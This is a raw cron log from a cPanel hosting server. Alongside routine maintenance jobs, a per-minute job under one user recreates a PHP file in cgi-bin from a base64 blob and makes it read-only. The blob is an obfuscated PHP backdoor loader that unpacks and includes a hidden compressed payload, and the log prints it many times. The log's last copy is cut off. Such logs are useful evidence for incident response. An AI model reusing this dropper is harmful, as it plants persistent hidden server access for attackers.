Sep 10 04:34:01 server CROND[25446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:34:01 server CROND[25448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:35:01 server CROND[25926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:35:01 server CROND[25932]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 04:35:01 server CROND[25934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:35:01 server CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:35:01 server CROND[25936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:35:01 server CROND[25937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:35:01 server CROND[25935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:35:01 server CROND[25939]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:35:01 server CROND[25940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:36:01 server CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:36:01 server CROND[26773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:36:01 server CROND[26774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:37:01 server CROND[27143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:37:01 server CROND[27145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:37:01 server CROND[27144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:38:01 server CROND[27522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:38:01 server CROND[27524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:38:01 server CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:39:01 server CROND[27891]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 04:39:01 server CROND[27892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:39:01 server CROND[27893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:39:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:40:01 server CROND[28380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:40:01 server CROND[28381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:40:01 server CROND[28382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:40:01 server CROND[28385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:40:01 server CROND[28383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:40:01 server CROND[28384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:40:01 server CROND[28386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:40:01 server CROND[28387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:41:01 server CROND[29210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:41:01 server CROND[29211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:41:01 server CROND[29212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:42:01 server CROND[29578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:42:01 server CROND[29579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:42:01 server CROND[29581]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:42:01 server CROND[29580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:43:01 server CROND[29954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:43:01 server CROND[29955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:43:01 server CROND[29956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:44:01 server CROND[30326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:44:01 server CROND[30327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:44:01 server CROND[30328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:45:01 server CROND[30797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:45:01 server CROND[30798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:45:01 server CROND[30801]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:45:01 server CROND[30800]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:45:01 server CROND[30799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:45:01 server CROND[30802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5